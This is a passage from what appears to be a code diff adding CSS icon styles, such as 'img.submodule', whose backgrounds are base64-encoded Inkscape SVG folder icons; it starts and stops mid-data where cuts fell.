gk8ZyB0cmFuc2Zvcm09InRyYW5zbGF0ZSgtMjkuNTE4IC03MC45NTMpIj4KCQk8ZyBzdHJva2U9IiMwMDAiPgoJCQk8cGF0aCBkPSJtODIuNTUzIDc5LjEzNGMzLjIyNTUgMCA2NC42MjYtNC44MzU5IDY0LjYyNi00LjgzNTlsMC40ODA1NyA1LjQ3MTJ6IiBmaWx0ZXI9InVybCgjYikiIHN0cm9rZS13aWR0aD0iMS4wNjUiLz4KCQkJPHBhdGggZD0ibTc5LjA4OSA3Ni4zOWMyMy4zOTggMC4xNzA3NiA0Ni44MDEgMC4yNzQyNSA3MC4xOTUgMC40ODcwNSAxLjQ4NzcgMC4wNjEzIDIuNzQ2MiAwLjg0Mzc1IDIuNzMzOCAzLjk2NTMtMmUtMyAwLjQ2NTg2IDJlLTMgMC45MTY3OC0wLjA1MjggMS40Njk5LTAuMTUyMzIgMS4xNDk1IDAuMTg4MDcgMS42NTk3LTAuMzEzNDggMS42ODM3LTI0LjY0OCAwLjE1MjYzLTQ5LjI5NyAwLjMwNTI1LTczLjk0NSAwLjQ1Nzg3eiIgZmlsbD0iIzkxOGQ0OSIgc3Ryb2tlLXdpZHRoPSIyIi8+CgkJCTxwYXRoIGQ9Im0zMC40MiA3NC42NjVjMS4wODYxIDI3LjMxNSAyLjE3MjIgNTQuNjMxIDMuMjU4MyA4MS45NDYgMC4zNzA0OCAyLjAyNTMgMS4zODA1IDEuNjM1MSAyLjY1OTcgMS44MjcybDExNC40OCAzLjg3NDhjMS42My0wLjA2NjYgMS40NjQ3LTAuODE4OTcgMS42NzA0LTIuNDcwNyAwLjIyMzI0LTIxLjQzMS0wLjU5MDMtNTUuNzY0LTAuMzY3MDctNzcuMTk0IDAuMTQ4NDEtMi4wNS0xLjU5NTctMS40NzMzLTIuOTEwMS0xLjY0MTYtMTguMTEyLTAuMjEzMDgtNDkuMzU3LTAuNDI2MTctNjcuNDY5LTAuNjM5MjUtMy42MzAzLTAuNjY1ODQtMS4zMjExLTYuNzYzMi02Ljk1NzMtNi41NDYzbC00Mi43MjctMC4zNDMxNGMtMC44Njc4LTAuMDcyNy0xLjU1NTMgMC4zODg4Mi0xLjYzMzkgMS4xODc0eiIgZmlsbD0idXJsKCNhKSIgc3Ryb2tlLXdpZHRoPSIxLjgiLz4KCQk8L2c+CgkJPHBhdGggZD0ibTgyLjI0IDc5LjQ0NGMzLjIyNTUgMCA2NC43LTUuMzU3OCA2NC43LTUuMzU3OGwwLjU2MjAzIDUuOTgwM3oiIGZpbGw9IiNmZmYiLz4KCQk8ZyBmaWxsPSJub25lIiBzdHJva2U9IiNhMDg5MmMiPgoJCQk8ZyBzdHJva2Utd2lkdGg9Ii41NjUiPgoJCQkJPHBhdGggZD0ibTEwNC44NCAxMzcuOTMgMzkuNTcgMC45MTk4OSIvPgoJCQkJPHBhdGggZD0ibTEwNS41NCAxNTEuODcgMzkuMzc5IDEuMTU5MyIvPgoJCQkJPHBhdGggZD0ibTEwNC44NSAxMzcuNjYgMC42NzY3OSAxNC40ODIiLz4KCQkJCTxwYXRoIGQ9Im0xNDQuNCAxMzguNTcgMC40NTM1OSAxNC43MTMiLz4KCQkJPC9nPgoJCQk8ZyBzdHJva2Utd2lkdGg9Ii4yNjQ1OHB4Ij4KCQkJCTxwYXRoIGQ9Im0xMDUuMzMgMTQ2LjQ5IDM5LjM0IDAuOTE5ODkiLz4KCQkJCTxwYXRoIGQ9Im0xMDUuNDQgMTQ5LjIgMzkuMzQgMC45MTk4OSIvPgoJCQkJPHBhdGggZD0ibTEyNC4yNSAxMzguMjl2OC42Nzk2Ii8+CgkJCQk8cGF0aCBkPSJtMTI0LjIyIDE0Mi44IDIwLjMwMyAwLjQ1OTEiLz4KCQkJPC9nPgoJCTwvZz4KCQk8Zz4KCQkJPGcgZmlsbC1vcGFjaXR5PSIuMDU3ODUxIj4KCQkJCTxwYXRoIGQ9Im0zMy42NzggMTI4LjkyYzAuNTYwMTctMC4wMzM0IDEuMDY4MiAwLjY0ODEyIDEuNjM1NCAwLjY2MzI2IDAuNDk4ODUgMC4wMTMzIDEuMDU2NS0wLjY0NTM2IDEuNTU1LTAuNTkyOTQgMS40ODMzIDAuMTU1OTUgMi45NTM0IDAuNDg4MTkgNC4zMzk1IDEuMDE1OCAwLjUxOTQ2IDAuMTk3NzMgMS44OTExIDIuMzIzNyAyLjM4MzMgMi41NzczIDAuNTcwOTQgMC4yOTQyMiAwLjI1NzAzLTEuMjc0IDAuNzgwNDQtMC45MDE2OSAwLjc5NDM4IDAuNTY1MTMgMS41MjczIDEuMjIyMSAyLjE3ODUgMS45NzYzIDAuNTAwODkgMC41NjYxNCAwLjk0MzEgMS4xNzU0IDEuMzI2NiAxLjgxNzUgMC4zNzExOSAwLjYyMTYxLTAuMjM0MjYgMC44MTMzMiAwLjAyNjcgMS40ODc1IDAuMjg2MDkgMC43MzkwMSAxLjQyNzUgMS45NjQ5IDEuNTgxIDIuNzQ0IDAuNjQzMTMgMy4yNjQ1IDAuMTIxNCA2Ljc3NDgtMS41NzMgOS42NDI1LTAuMjU5MTkgMC40Mzg2OS0xLjUyNSAwLjc0NzE0LTEuODM5MSAxLjE1MjYtMC4zNTY5MyAwLjQ2OTg4IDAuMjMxOTkgMS4wMjQzLTAuMTg2NzEgMS40MzItMS45NjQzIDEuOTEyNy00LjU1NDMgMy4xMzI0LTcuMjY0IDMuNTc3Ny0wLjY4OTI5IDAuMTEzMjktMC44MTAzNC0wLjkxNzkyLTEuNTA2OC0wLjkwNjE4LTAuNjgyNTMtMC4wMzQ1LTIuNTgwMyAxLjIyODUtMi44NTEyIDAuOTE4MjYgMC43MzE2Ni0wLjYwMDYgMS4xNTExLTIuMTU3NSAyLjI4ODgtMS41MTQ2IDEuMDMgMC42NjcyNSAxLjc4ODItMS4wMjcgMi43MDM1IDAuMDIxNiAwLjgyNDA4IDAuNzExNjkgMi4wMjcxIDAuNjQ5NTYgMi44MjEzLTAuMDc1MSAwLjgzMzg4LTAuNzQyOTggMS42NTU0LTEuNTI1MiAyLjEyOTMtMi41NTggMC41MjczOS0xLjE4NSAxLjc2NDgtMS44NDUxIDIuMzI4NS0yLjk4MDUgMC40NzQ4Ny0xLjQ1OTEgMC45NTAyNy0yLjkxOTYgMS4zMzAyLTQuNDA2OS0wLjA3OC0wLjg2MjMzIDAuNzI3MTItMi4wMjA0IDAuNjQwNTYtMi44ODYxLTAuMDk1MS0wLjk1MTYyLTEuMDg3OC0xLjYwOTktMS4zMTIxLTIuNTM0OC0wLjI5ODgxLTEuMTA5Mi0xLjE3NzEtMi4xMTc2LTEuMTIzMS0zLjI3MTEgMC4xNzY0Mi0wLjk0MDk2IDAuMjcxMzItMi4wNDM2LTAuOTkxNzUtMi4xMjE4LTEuMjcxMSAwLjA1NDktMi4zNjgxLTAuNjg0ODctMy41MzY0LTEuMDc3Ni0wLjMxMTIzLTAuNzI2OTItMC43ODc1MS0xLjkzNjQtMS44MDkyLTEuODM5NC0wLjgwMjU1LTAuMDIyNC0xLjYwNTkgMC4zMjYwMS0xLjgwMTUtMC42NzE0My0wLjk4MDMyIDAuNDU1OTMtMS45NzA4IDEuMDI5Mi0zLjEwOTggMC43NDgxNC0xLjMwODEgMC4xNTU4Mi0xLjAwNjctMC4zNzQ3Mi0xLjE0NC0xLjQzNjN6Ii8+CgkJCQk8cGF0aCBkPSJtNDMuNTA3IDEzMy41IDAuMjQ0OC0wLjA4NjQgMC44MDYzOSAwLjEyOTU5LTAuMDg2NCAwLjQzMnoiLz4KCQkJCTxwYXRoIGQ9Im00NS4xMiAxMzMuNzMgMC4zMTY4LTAuMjU5MiAwLjE3MjggMC40NjA3OS0wLjM0NTYgMC4wODY0eiIvPgoJCQkJPHBhdGggZD0ibTQ0LjYwMiAxMzQuMTUgMC44NDk1OSAwLjM0NTU4IDAuMjU5MTkgMC4yNzM2LTAuNDYwNzkgMC4yMDE1OXoiLz4KCQkJCTxwYXRoIGQ9Im0zOC43MjcgMTMwLjYyYzAuNDM2NzkgMC4wNjcyIDAuODczNTkgMC4xMzQzOSAxLjMxMDQgMC4yMDE1OSAwLjEyNDggMC4xNDQgMC4yNDk1OSAwLjI4Nzk5IDAuMzc0MzkgMC40MzE5OS0wLjI1NDQtMC4wMTkyLTAuNTA4NzktMC4wMzg0LTAuNzYzMTktMC4wNTc2LTAuMzA3MTktMC4xOTE5OS0wLjYxNDM5LTAuMzgzOTktMC45MjE1OC0wLjU3NTk4eiIvPgoJCQkJPHBhdGggZD0ibTM5LjgyMSAxNTIuODUgMC42NjIzOSAwLjE0Mzk5IDAuMTcyOCAwLjQ2MDc5LTAuMzQ1NiAwLjA4NjR6Ii8+CgkJCQk8cGF0aCBkPSJtNDAuNzE0IDE1Mi41NiAwLjY2MjM5IDAuMTQzOTkgMC4xNzI4IDAuNDYwNzktMC4zNDU2IDAuMDg2NHoiLz4KCQkJCTxwYXRoIGQ9Im00MS43NzkgMTUyLjA1IDAuNjYyMzkgMC4xNDM5OSAwLjE3MjggMC40NjA3OS0wLjM0NTYgMC4wODY0eiIvPgoJCQkJPHBhdGggZD0ibTQ2LjA5OSAxNTEuMDEgMC42NjIzOSAwLjE0Mzk5IDAuMTcyOCAwLjQ2MDc5LTAuMzQ1NiAwLjA4NjR6Ii8+CgkJCQk8cGF0aCBkPSJtMzUuOTMzIDE1NC45OCAwLjY2MjM5IDAuMTQzOTkgMC4xNzI4IDAuNDYwNzktMC4zNDU2IDAuMDg2NHoiLz4KCQkJPC9nPgoJCQk8cGF0aCBkPSJtMTQ3LjMxIDc3LjgyMiAwLjIyNDAzIDIuMzQxOSAwLjM1NjM1IDAuMDUwOS0wLjI3NDkxLTIuNDEzMnoiLz4KCQk8L2c+CgkJPHBhdGggZD0ibTM2LjEyMiA4MC41M2MyLjU3MTYtMC4wNjI4IDMuNDQ0Ni00LjU3OTUgNS45NDMzLTMuNjE1NiAwLjM1MzIzIDEuODg4OC0xLjgyODggMy4xMDg5LTIuMzgxNCA0LjgzODgtMC4zMzE0MyAwLjU5NzQ4LTEuOTgwMyAyLjk2NjYtMC40NDc5NyAxLjQ1MzQgMS43ODAzLTEuODQxMiAzLjExNjktNC40ODQ4IDUuODA5MS01LjExIDEuOTQ5NyAwLjU2NDk3LTIuMDM4NiAyLjY4MjktMC4yNDAwMiAwLjczNTY3IDEuNTU1OC0xLjQzODcgNC4zMjEzLTAuNzU3MiA0LjgyMTMgMS4zNzMyIDAuNDU4OCAyLjQ1NjYgMi45OTE3IDIuMDQ2OCA0LjMyODUgMC41OTgxIDEuMzE0LTAuMzgwOTEgMS42NTQyLTMuOTk0NiAwLjA5NjMtMi4wMDU3IDAuMjUzNTUgMC45MzYzMSAyLjE2MjktMS40NDQ0IDIuOTY0MiAwLjI0MDk4IDAuNDI0ODQgMC45OTE2Ni0wLjA4MyAzLjg5MTYgMS44NTU4IDIuNjE0NyAwLjk3NTYxLTAuODkwMjQgMi42MDQ1LTMuNzM2MiAzLjg5MDQtMS44ODExIDAuMTUwMDggMS43NzU1LTAuNDE4MTIgMy41NzA1LTAuNzcwNDcgNS4zMTEgMC4wNjk1IDEuMzA0LTIuNDM0MiAzLjQxODItMi4xMzQxIDEuMDA5MyAwLjgwODAzLTIuMjQ2MSAzLjA3MjUtMy4yNjI1IDQuODg4Mi00LjQ4OTEgMC42OTMxMS0xLjQwNjkgMi44MTc2LTMuNzM2MiAzLjc4MTctMS4xNjYxIDAuNDczODIgMi41OTcxIDIuNjc3MS0wLjUxMDY2IDQuMzU4Ny0wLjE2MDYgMC40NTk3Ny0wLjEwNjc5IDAuOTE4MDktMC4yMjY3IDEuMzU4NC0wLjM5ODYyIiBmaWxsPSJub25lIiBzdHJva2U9IiNkNGM5OTIiIHN0cm9rZS13aWR0aD0iLjk2NSIvPgoJPC9nPgo8L3N2Zz4\u003d\u0022);\n+\twidth:0px;\n+\theight:0px;\n+\tpadding: 0.4em 0.6em 0.4em 0.6em;\n+\tbackground-repeat: no-repeat;\n+\tline-height:100%;\n+\tvertical-align:middle;\n+\tcolor: rgba(0, 0, 0, 0) !important;\n+}\n+\n+img.submodule {\n+\tdisplay: inline-block;\n+\tbackground: url(\u0022data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPCEtLSBDcmVhdGVkIHdpdGggSW5rc2NhcGUgKGh0dHA6Ly93d3cuaW5rc2NhcGUub3JnLykgLS0+CjxzdmcgdmVyc2lvbj0iMS4xIiB2aWV3Qm94PSIwIDAgMTIzLjkwNDg4IDkyLjI2MDcxMiIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxuczpjYz0iaHR0cDovL2NyZWF0aXZlY29tbW9ucy5vcmcvbnMjIiB4bWxuczpkYz0iaHR0cDovL3B1cmwub3JnL2RjL2VsZW1lbnRzLzEuMS8iIHhtbG5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyIgeG1sbnM6eGxpbms9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGxpbmsiPgoJPGRlZnM+CgkJPGxpbmVhckdyYWRpZW50IGlkPSJiIiB4MT0iNTQwLjk3IiB4Mj0iNDgwLjM3IiB5MT0iMjI4LjExIiB5Mj0iMTU4Ljk5IiBncmFkaWVudFRyYW5zZm9ybT0ibWF0cml4KC42OTE3NyAwIDAgLjY5MTc3IC02MTIuNDkgLTMxNy4yNSkiIGdyYWRpZW50VW5pdHM9InVzZXJTcGFjZU9uVXNlIj4KCQkJPHN0b3Agc3RvcC1jb2xvcj0iIzJjODlhMCIgb2Zmc2V0PSIwIi8+CgkJCTxzdG9wIHN0b3AtY29sb3I9IiNhZmRkZTkiIG9mZnNldD0iMSIvPgoJCTwvbGluZWFyR3JhZGllbnQ+CgkJPGZpbHRlciBpZD0iZCIgeD0iLS4wNTEzODMiIHk9Ii0uNjExNDUiIHdpZHRoPSIxLjEwMjgiIGhlaWdodD0iMi4yMjI5IiBjb2xvci1pbnRlcnBvbGF0aW9uLWZpbHRlcnM9InNSR0IiPgoJCQk8ZmVHYXVzc2lhbkJsdXIgc3RkRGV2aWF0aW9uPSIxLjM5MzkwODQiLz4KCQk8L2ZpbHRlcj4KCQk8ZmlsdGVyIGlkPSJjIiB4PSItLjExODE3IiB5PSItLjE2MjQxIiB3aWR0aD0iMS4yMzYzIiBoZWlnaHQ9IjEuMzI0OCIgY29sb3ItaW50ZXJwb2xhdGlvbi1maWx0ZXJzPSJzUkdCIj4KCQkJPGZlR2F1c3NpYW5CbHVyIHN0ZERldmlhdGlvbj0iNC4xNTg4OTIyIi8+CgkJPC9maWx0ZXI+CgkJPGxpbmVhckdyYWRpZW50IGlkPSJhIiB4MT0iNTQwLjk3IiB4Mj0iNDgwLjM3IiB5MT0iMjI4LjExIiB5Mj0iMTU4Ljk5IiBncmFkaWVudFRyYW5zZm9ybT0idHJhbnNsYXRlKC03NzEuNzMgLTM3OC45OSkiIGdyYWRpZW50VW5pdHM9InVzZXJTcGFjZU9uVXNlIj4KCQkJPHN0b3Agc3RvcC1jb2xvcj0iIzc4NjcyMSIgb2Zmc2V0PSIwIi8+CgkJCTxzdG9wIHN0b3AtY29sb3I9IiNkZWNkODciIG9mZnNldD0iMSIvPgoJCTwvbGluZWFyR3JhZGllbnQ+CgkJPGZpbHRlciBpZD0iZSIgeD0iLS4wNTEzODMiIHk9Ii0uNjExNDUiIHdpZHRoPSIxLjEwMjgiIGhlaWdodD0iMi4yMjI5IiBjb2xvci1pbnRlcnBvbGF0aW9uLWZpbHRlcnM9InNSR0IiPgoJCQk8ZmVHYXVzc2lhbkJsdXIgc3RkRGV2aWF0aW9uPSIxLjM5MzkwODQiLz4KCQk8L2ZpbHRlcj4KCTwvZGVmcz4KCTxtZXRhZGF0YT4KCQk8cmRmOlJERj4KCQkJPGNjOldvcmsgcmRmOmFib3V0PSIiPgoJCQkJPGRjOmZvcm1hdD5pbWFnZS9zdmcreG1sPC9kYzpmb3JtYXQ+CgkJCQk8ZGM6dHlwZSByZGY6cmVzb3VyY2U9Imh0dHA6Ly9wdXJsLm9yZy9kYy9kY21pdHlwZS9TdGlsbEltYWdlIi8+CgkJCQk8ZGM6dGl0bGUvPgoJCQk8L2NjOldvcms+CgkJPC9yZGY6UkRGPgoJPC9tZXRhZGF0YT4KCTxnIHRyYW5zZm9ybT0idHJhbnNsYXRlKDMxOS43MyAyMzYuNzIpIj4KCQk8ZyBzdHJva2U9IiMwMDAiPgoJCQk8cGF0aCBkPSJtLTI2Ni43LTIyOC41NGMzLjIyNTUgMCA2NC42MjYtNC44MzU5IDY0LjYyNi00LjgzNTlsMC40ODA1NyA1LjQ3MTJ6IiBmaWx0ZXI9InVybCgjZSkiIHN0cm9rZS13aWR0aD0iMS4wNjUiLz4KCQkJPHBhdGggZD0ibS0yNzAuMTYtMjMxLjI4YzIzLjM5OCAwLjE3MDc2IDQ2LjgwMSAwLjI3NDI1IDcwLjE5NSAwLjQ4NzA1IDEuNDg3NyAwLjA2MTMgMi43NDYyIDAuODQzNzUgMi43MzM4IDMuOTY1My0yZS0zIDAuNDY1ODYgMmUtMyAwLjkxNjc4LTAuMDUyOCAxLjQ2OTktMC4xNTIzMiAxLjE0OTUgMC4xODgwNyAxLjY1OTctMC4zMTM0OCAxLjY4MzctMjQuNjQ4IDAuMTUyNjMtNDkuMjk3IDAuMzA1MjUtNzMuOTQ1IDAuNDU3ODd6IiBmaWxsPSIjOTE4ZDQ5IiBzdHJva2Utd2lkdGg9IjIiLz4KCQkJPHBhdGggZD0ibS0zMTguODMtMjMzLjAxYzEuMDg2MSAyNy4zMTUgMi4xNzIyIDU0LjYzMSAzLjI1ODMgODEuOTQ2IDAuMzcwNDggMi4wMjUzIDEuMzgwNSAxLjYzNTEgMi42NTk3IDEuODI3MmwxMTQuNDggMy44NzQ4YzEuNjMtMC4wNjY2IDEuNDY0Ny0wLjgxODk3IDEuNjcwNC0yLjQ3MDcgMC4yMjMyNC0yMS40MzEtMC41OTAzLTU1Ljc2NC0wLjM2NzA3LTc3LjE5NCAwLjE0ODQxLTIuMDUtMS41OTU3LTEuNDczMy0yLjkxMDEtMS42NDE2LTE4LjExMi0wLjIxMzA4LTQ5LjM1Ny0wLjQyNjE3LTY3LjQ2OS0wLjYzOTI1LTMuNjMwMy0wLjY2NTg0LTEuMzIxMS02Ljc2MzItNi45NTczLTYuNTQ2M2wtNDIuNzI3LTAuMzQzMTRjLTAuODY3OC0wLjA3MjctMS41NTUzIDAuMzg4ODItMS42MzM5IDEuMTg3NHoiIGZpbGw9InVybCgjYSkiIHN0cm9rZS13aWR0aD0iMS44Ii8+CgkJPC9nPgoJCTxwYXRoIGQ9Im0tMjY3LjAxLTIyOC4yM2MzLjIyNTUgMCA2NC43LTUuMzU3OCA2NC43LTUuMzU3OGwwLjU2MjAzIDUuOTgwM3oiIGZpbGw9IiNmZmYiLz4KCQk8ZyBmaWxsPSJub25lIiBzdHJva2Utd2lkdGg9Ii41NjUiPgoJCQk8cGF0aCBkPSJtLTI1OC4yNS0xNzUuMzUgMzkuNTcgMC45MTk4OSIgc3Ryb2tlPSIjNWQ2YzUzIi8+CgkJCTxwYXRoIGQ9Im0tMjU3LjU1LTE2MS40MiAzOS4zNzkgMS4xNTkzIiBzdHJva2U9IiM1ZDZjNTMiLz4KCQkJPHBhdGggZD0ibS0yNTguMjUtMTc1LjYzIDAuNjc2NzkgMTQuNDgyIiBzdHJva2U9IiNhMDg5MmMiLz4KCQk8L2c+CgkJPHBhdGggdHJhbnNmb3JtPSJtYXRyaXgoMS4wNTA2IDAgMCAxLjA1MDYgLTg3NS4zNCAtNTQyLjI5KSIgZD0ibTU0Ny40NyAzMDYuNzZjMC43NTEzMyAxOC44OTYgMS41MDI2IDM3Ljc5MiAyLjI1NCA1Ni42ODggMC4yNTYyOSAxLjQwMSAwLjk1NTAyIDEuMTMxMSAxLjgzOTkgMS4yNjRsNzkuMTkxIDIuNjgwNWMxLjEyNzYtMC4wNDYxIDEuMDEzMi0wLjU2NjU0IDEuMTU1NS0xLjcwOTIgMC4xNTQ0My0xNC44MjUtMC40MDgzNS0zOC41NzYtMC4yNTM5My01My40MDEgMC4xMDI2Ny0xLjQxODItMS4xMDM5LTEuMDE5Mi0yLjAxMzEtMS4xMzU2LTEyLjUyOS0wLjE0NzQtMzQuMTQ0LTAuMjk0ODEtNDYuNjczLTAuNDQyMjEtMi41MTEzLTAuNDYwNjEtMC45MTM5MS00LjY3ODYtNC44MTI4LTQuNTI4NWwtMjkuNTU3LTAuMjM3MzdjLTAuNjAwMzItMC4wNTAzLTEuMDc1OSAwLjI2ODk3LTEuMTMwMyAwLjgyMTQyeiIgZmlsbD0iI2ZmZiIgZmlsdGVyPSJ1cmwoI2MpIiBzdHJva2U9IiNmZmYiIHN0cm9rZS13aWR0aD0iMi40NDUiLz4KCQk8ZyBmaWxsPSJub25lIiBzdHJva2U9IiM1ZDZjNTMiPgoJCQk8cGF0aCBkPSJtLTIxOC43LTE3NC43MiAwLjQ1MzU5IDE0LjcxMyIgc3Ryb2tlLXdpZHRoPSIuNTY1Ii8+CgkJCTxnIHN0cm9rZS13aWR0aD0iLjI2NDU4cHgiPgoJCQkJPHBhdGggZD0ibS0yNTcuNzctMTY2LjggMzkuMzQgMC45MTk4OSIvPgoJCQkJPHBhdGggZD0ibS0yNTcuNjUtMTY0LjA5IDM5LjM0IDAuOTE5ODkiLz4KCQkJCTxwYXRoIGQ9Im0tMjM4Ljg1LTE3NXY4LjY3OTYiLz4KCQkJCTxwYXRoIGQ9Im0tMjM4Ljg4LTE3MC40OCAyMC4zMDMgMC40NTkxIi8+CgkJCTwvZz4KCQk8L2c+CgkJPGc+CgkJCTxnIGZpbGwtb3BhY2l0eT0iLjA1Nzg1MSI+CgkJCQk8cGF0aCBkPSJtLTMxNS41Ny0xNzguNzZjMC41NjAxNy0wLjAzMzQgMS4wNjgyIDAuNjQ4MTIgMS42MzU0IDAuNjYzMjYgMC40OTg4NSAwLjAxMzMgMS4wNTY1LTAuNjQ1MzYgMS41NTUtMC41OTI5NCAxLjQ4MzMgMC4xNTU5NSAyLjk1MzQgMC40ODgxOSA0LjMzOTUgMS4wMTU4IDAuNTE5NDYgMC4xOTc3MyAxLjg5MTEgMi4zMjM3IDIuMzgzMyAyLjU3NzMgMC41NzA5NCAwLjI5NDIyIDAuMjU3MDMtMS4yNzQgMC43ODA0NC0wLjkwMTY5IDAuNzk0MzggMC41NjUxMyAxLjUyNzMgMS4yMjIxIDIuMTc4NSAxLjk3NjMgMC41MDA4OSAwLjU2NjE0IDAuOTQzMSAxLjE3NTQgMS4zMjY2IDEuODE3NSAwLjM3MTE5IDAuNjIxNjEtMC4yMzQyNiAwLjgxMzMyIDAuMDI2NyAxLjQ4NzUgMC4yODYwOSAwLjczOTAxIDEuNDI3NSAxLjk2NDkgMS41ODEgMi43NDQgMC42NDMxMyAzLjI2NDUgMC4xMjE0IDYuNzc0OC0xLjU3MyA5LjY0MjUtMC4yNTkxOSAwLjQzODY5LTEuNTI1IDAuNzQ3MTQtMS44MzkxIDEuMTUyNi0wLjM1NjkzIDAuNDY5ODggMC4yMzE5OSAxLjAyNDMtMC4xODY3MSAxLjQzMi0xLjk2NDMgMS45MTI3LTQuNTU0MyAzLjEzMjQtNy4yNjQgMy41Nzc3LTAuNjg5MjkgMC4xMTMyOS0wLjgxMDM0LTAuOTE3OTItMS41MDY4LTAuOTA2MTgtMC42ODI1My0wLjAzNDUtMi41ODAzIDEuMjI4NS0yLjg1MTIgMC45MTgyNiAwLjczMTY2LTAuNjAwNiAxLjE1MTEtMi4xNTc1IDIuMjg4OC0xLjUxNDYgMS4wMyAwLjY2NzI1IDEuNzg4Mi0xLjAyNyAyLjcwMzUgMC4wMjE2IDAuODI0MDggMC43MTE2OSAyLjAyNzEgMC42NDk1NiAyLjgyMTMtMC4wNzUxIDAuODMzODgtMC43NDI5OCAxLjY1NTQtMS41MjUyIDIuMTI5My0yLjU1OCAwLjUyNzM5LTEuMTg1IDEuNzY0OC0xLjg0NTEgMi4zMjg1LTIuOTgwNSAwLjQ3NDg3LTEuNDU5MSAwLjk1MDI3LTIuOTE5NiAxLjMzMDItNC40MDY5LTAuMDc4LTAuODYyMzMgMC43MjcxMi0yLjAyMDQgMC42NDA1Ni0yLjg4NjEtMC4wOTUxLTAuOTUxNjItMS4wODc4LTEuNjA5OS0xLjMxMjEtMi41MzQ4LTAuMjk4ODEtMS4xMDkyLTEuMTc3MS0yLjExNzYtMS4xMjMxLTMuMjcxMSAwLjE3NjQyLTAuOTQwOTYgMC4yNzEzMi0yLjA0MzYtMC45OTE3NS0yLjEyMTgtMS4yNzExIDAuMDU0OS0yLjM2ODEtMC42ODQ4Ny0zLjUzNjQtMS4wNzc2LTAuMzExMjMtMC43MjY5Mi0wLjc4NzUxLTEuOTM2NC0xLjgwOTItMS44Mzk0LTAuODAyNTUtMC4wMjI0LTEuNjA1OSAwLjMyNjAxLTEuODAxNS0wLjY3MTQzLTAuOTgwMzIgMC40NTU5My0xLjk3MDggMS4wMjkyLTMuMTA5OCAwLjc0ODE0LTEuMzA4MSAwLjE1NTgyLTEuMDA2Ny0wLjM3NDcyLTEuMTQ0LTEuNDM2M3oiLz4KCQkJCTxwYXRoIGQ9Im0tMzA1Ljc0LTE3NC4xNyAwLjI0NDgtMC4wODY0IDAuODA2MzkgMC4xMjk1OS0wLjA4NjQgMC40MzJ6Ii8+CgkJCQk8cGF0aCBkPSJtLTMwNC4xMy0xNzMuOTQgMC4zMTY4LTAuMjU5MiAwLjE3MjggMC40NjA3OS0wLjM0NTYgMC4wODY0eiIvPgoJCQkJPHBhdGggZD0ibS0zMDQuNjUtMTczLjUyIDAuODQ5NTkgMC4zNDU1OCAwLjI1OTE5IDAuMjczNi0wLjQ2MDc5IDAuMjAxNTl6Ii8+CgkJCQk8cGF0aCBkPSJtLTMxMC41Mi0xNzcuMDVjMC40MzY3OSAwLjA2NzIgMC44NzM1OSAwLjEzNDM5IDEuMzEwNCAwLjIwMTU5IDAuMTI0OCAwLjE0NCAwLjI0OTU5IDAuMjg3OTkgMC4zNzQzOSAwLjQzMTk5LTAuMjU0NC0wLjAxOTItMC41MDg3OS0wLjAzODQtMC43NjMxOS0wLjA1NzYtMC4zMDcxOS0wLjE5MTk5LTAuNjE0MzktMC4zODM5OS0wLjkyMTU4LTAuNTc1OTh6Ii8+CgkJCQk8cGF0aCBkPSJtLTMwOS40My0xNTQuODIgMC42NjIzOSAwLjE0Mzk5IDAuMTcyOCAwLjQ2MDc5LTAuMzQ1NiAwLjA4NjR6Ii8+CgkJCQk8cGF0aCBkPSJtLTMwOC41NC0xNTUuMTEgMC42NjIzOSAwLjE0Mzk5IDAuMTcyOCAwLjQ2MDc5LTAuMzQ1NiAwLjA4NjR6Ii8+CgkJCQk8cGF0aCBkPSJtLTMwNy40Ny0xNTUuNjMgMC42NjIzOSAwLjE0Mzk5IDAuMTcyOCAwLjQ2MDc5LTAuMzQ1NiAwLjA4NjR6Ii8+CgkJCQk8cGF0aCBkPSJtLTMwMy4xNS0xNTYuNjYgMC42NjIzOSAwLjE0Mzk5IDAuMTcyOCAwLjQ2MDc5LTAuMzQ1NiAwLjA4NjR6Ii8+CgkJCQk8cGF0aCBkPSJtLTMxMy4zMi0xNTIuNjkgMC42NjIzOSAwLjE0Mzk5IDAuMTcyOCAwLjQ2MDc5LTAuMzQ1NiAwLjA4NjR6Ii8+CgkJCTwvZz4KCQkJPHBhdGggZD0ibS0yMDEuOTQtMjI5Ljg1IDAuMjI0MDMgMi4zNDE5IDAuMzU2MzUgMC4wNTA5LTAuMjc0OTEtMi40MTMyeiIvPgoJCTwvZz4KCQk8cGF0aCBkPSJtLTMxMy4xMy0yMjcuMTRjMi41NzE2LTAuMDYyOCAzLjQ0NDYtNC41Nzk1IDUuOTQzMy0zLjYxNTYgMC4zNTMyMyAxLjg4ODgtMS44Mjg4IDMuMTA4OS0yLjM4MTQgNC44Mzg4LTAuMzMxNDMgMC41OTc0OC0xLjk4MDMgMi45NjY2LTAuNDQ3OTcgMS40NTM0IDEuNzgwMy0xLjg0MTIgMy4xMTY5LTQuNDg0OCA1LjgwOTEtNS4xMSAxLjk0OTcgMC41NjQ5Ny0yLjAzODYgMi42ODI5LTAuMjQwMDIgMC43MzU2NyAxLjU1NTgtMS40Mzg3IDQuMzIxMy0wLjc1NzIgNC44MjEzIDEuMzczMiAwLjQ1ODggMi40NTY2IDIuOTkxNyAyLjA0NjggNC4zMjg1IDAuNTk4MSAxLjMxNC0wLjM4MDkxIDEuNjU0Mi0zLjk5NDYgMC4wOTYzLTIuMDA1NyAwLjI1MzU1IDAuOTM2MzEgMi4xNjI5LTEuNDQ0NCAyLjk2NDIgMC4yNDA5OCAwLjQyNDg0IDAuOTkxNjYtMC4wODMgMy44OTE2IDEuODU1OCAyLjYxNDcgMC45NzU2MS0wLjg5MDI0IDIuNjA0NS0zLjczNjIgMy44OTA0LTEuODgxMSAwLjE1MDA4IDEuNzc1NS0wLjQxODEyIDMuNTcwNS0wLjc3MDQ3IDUuMzExIDAuMDY5NSAxLjMwNC0yLjQzNDIgMy40MTgyLTIuMTM0MSAxLjAwOTMgMC44MDgwMy0yLjI0NjEgMy4wNzI1LTMuMjYyNSA0Ljg4ODItNC40ODkxIDAuNjkzMTEtMS40MDY5IDIuODE3Ni0zLjczNjIgMy43ODE3LTEuMTY2MSAwLjQ3MzgyIDIuNTk3MSAyLjY3NzEtMC41MTA2NiA0LjM1ODctMC4xNjA2IDAu